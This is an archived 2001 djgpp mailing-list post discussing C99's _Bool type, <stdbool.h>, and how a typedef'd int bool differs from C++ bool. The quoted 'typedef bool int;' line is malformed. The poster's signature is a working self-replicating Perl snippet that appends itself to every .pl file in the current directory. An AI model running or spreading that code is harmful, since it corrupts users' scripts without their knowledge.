Mail Archives: djgpp/2001/04/20/09:00:25
Ross Axe <ken DOT axe AT NOSPAM DOT virgin DOT net> wrote:
> "echo 'Rudolf Polzer'>/dev/null" <rpolzer AT www42 DOT t-offline DOT de> wrote in
> message news:slrn9dtk7r DOT 9of DOT rpolzer AT www42 DOT t-offline DOT de...
> > Jack Klein <jackklein AT spamcop DOT net> wrote:
> > > The 1999 update to the C standard added a new type called _Bool (the
> > > combination of leading underscore and upper case letter puts it in the
> > > namespace reserved for the implementation) which is similar, but not
> > > identical to, the C++ type bool.
> > >
> > > If you include the C99 standard header <stdbool.h>, it defines the
> > > four macros bool, true, false, and __bool_true_false_are_defined.
> > >
> > > If your gcc version supports _Bool, you can use this type without
> > > including any header. If it supports _Bool and comes with the header
> > > <stdbool.h> (or you can make your own <stdbool.h>, it's a pretty
> > > simple header), then you can use the C99 macro bool.
> >
> > Isn't this a valid stdbool.h (without the include guards)
> >
> > typedef bool int;
> > #define true 1
> > #define false 0
> >
> > or is a boolean more than that?
>
> I would say so. bool (or _Bool) can hold one of two values, 0 or 1. int
> can hold considerably more :-)
> Dont know if 'typedef bool int;' is permitted by the C99 standard though.
> It may be. I am fairly certain that you are free to undefine and redefine
> the macros bool, true & false. So merely including the line 'typedef bool
> int;' in your program is legal, if you don't #include <stdbool.h> or you
> #undef bool afterwards.
If <stdbool.h> is included, this file would not be needed. But: there
are examples where the C++ bool and this bool differ:
bool b = -1; /* some true value in C++, true in a 'if' in C */
++b; /* makes b false using a typedef'd bool. In C++:
implicit conversion from bool to int -> 1
adding 1 to the int -> 2
implicit conversion from int to bool -> true == 1 */
What does C99 say here? Seems like normal, old C cannot fix this.
--
#!/usr/bin/perl
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################
- Raw text -